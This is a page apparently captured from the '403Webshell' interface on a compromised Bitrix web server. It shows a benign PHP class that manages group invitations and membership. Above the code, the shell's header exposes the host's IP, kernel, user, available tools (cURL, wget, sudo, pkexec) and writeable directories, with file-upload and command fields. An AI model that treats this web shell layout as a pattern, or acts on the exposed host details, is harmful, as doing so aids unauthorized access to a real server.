403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Space/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/socialnetwork/lib/Space/MembersManager.php
<?php

namespace Bitrix\Socialnetwork\Space;

use Bitrix\Socialnetwork\Helper;
use Bitrix\Socialnetwork\Internals\Member\MemberEntityCollection;
use Bitrix\Socialnetwork\MemberToGroupTable;

final class MembersManager
{
	/**
	 * @param int $spaceId
	 * @param array<int> $usersIds
	 */
	public function updateInvitedUsers(int $spaceId, array $usersIds): void
	{
		$groupInviteCollection = $this->getGroupMembersCollection($spaceId);
		$invitedUsers = [];
		foreach ($groupInviteCollection as $member)
		{
			if ($member->isInvited())
			{
				$invitedUsers[] = $member->getUserId();
			}
		}

		$inviteUsers = array_diff($usersIds, $invitedUsers);
		$rejectInviteUsers = array_diff($invitedUsers, $usersIds);

		$userId = Helper\User::getCurrentUserId();
		$isAdmin = Helper\Workgroup::isCurrentUserModuleAdmin();

		foreach ($inviteUsers as $inviteUserId)
		{
			$canInviteUser = \CSocNetUserPerms::CanPerformOperation($userId, $inviteUserId, 'invitegroup', $isAdmin);

			if ($canInviteUser)
			{
				\CSocNetUserToGroup::SendRequestToJoinGroup(
					$userId,
					$inviteUserId,
					$spaceId,
					'',
				);
			}
		}

		foreach ($rejectInviteUsers as $rejectInviteUserId)
		{
			$userToGroup = [
				'userId' => $rejectInviteUserId,
				'groupId' => $spaceId,
			];

			if (Helper\Workgroup\Access::canDeleteOutgoingRequest($userToGroup))
			{
				Helper\Workgroup::deleteOutgoingRequest($userToGroup);
			}
		}
	}

	public function getGroupMembersList(int $spaceId): array
	{
		$groupMembersList = [];

		$groupInviteCollection = $this->getGroupMembersCollection($spaceId);
		foreach ($groupInviteCollection as $member)
		{
			$groupMembersList[] = [
				'id' => $member->getUserId(),
				'invited' => $member->isInvited(),
				'isAwaiting' => $member->isAwaiting(),
				'isMember' => $member->isMember(),
			];
		}

		return $groupMembersList;
	}

	public function getGroupMembersCollection(int $spaceId): MemberEntityCollection
	{
		return MemberToGroupTable::query()
			->setSelect(['USER_ID', 'ROLE', 'INITIATED_BY_TYPE'])
			->where('GROUP_ID', $spaceId)
			->exec()->fetchCollection();
	}

	public function canInviteUsers(int $spaceId): bool
	{
		$groupPermissions = Helper\Workgroup::getPermissions([
			'groupId' => $spaceId,
		]);

		return $groupPermissions['UserCanInitiate']
			|| $groupPermissions['UserCanModifyGroup']
			|| Helper\Workgroup::isCurrentUserModuleAdmin();
	}

	public function isUserMember(int $userId, int $spaceId): bool
	{
		$groupPermissions = Helper\Workgroup::getPermissions([
			'userId' => $userId,
			'groupId' => $spaceId,
		]);

		return (bool) $groupPermissions['UserIsMember'];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit